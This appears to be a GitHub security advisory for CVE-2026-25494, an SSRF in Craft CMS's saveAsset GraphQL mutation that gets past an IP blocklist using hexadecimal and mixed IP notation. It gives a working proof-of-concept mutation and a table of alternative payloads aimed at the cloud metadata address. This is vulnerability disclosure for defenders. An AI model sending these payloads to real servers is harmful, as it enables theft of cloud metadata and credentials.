CVE-2026-25494: Craft has a SSRF in GraphQL Asset Mutation via Alternative IP Notation

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

--- Summary

The saveAsset GraphQL mutation uses filtervar(..., FILTERVALIDATEIP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

--- Proof of Concept 1. Send the following GraphQL mutation: graphql mutation { saveimagesAsset(file: { url: "http://169.254.0xa9fe/latest/meta-data/" filename: "metadata.txt" }) { id } } 2. The IP validation passes (hex notation not recognized as IP) 3. Guzzle resolves 169.254.0xa9fe to 169.254.169.254 4. Cloud metadata is fetched and saved

Alternative Payloads | Payload | Notation | Resolves To | |---------|----------|-------------| | http://169.254.0xa9fe/ | Mixed (decimal + hex) | 169.254.169.254 | | http://0xa9.0xfe.0xa9.0xfe/ | Full hex dotted | 169.254.169.254 | | http://0xa9fea9fe/ | Single hex integer | 169.254.169.254 |

--- Technical Details

File: src/gql/resolvers/mutations/Asset.php Root Cause: filtervar($hostname, FILTERVALIDATEIP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

php // Line 287 - Fails to catch hex notation filtervar($hostname, FILTERVALIDATEIP)

— GitHub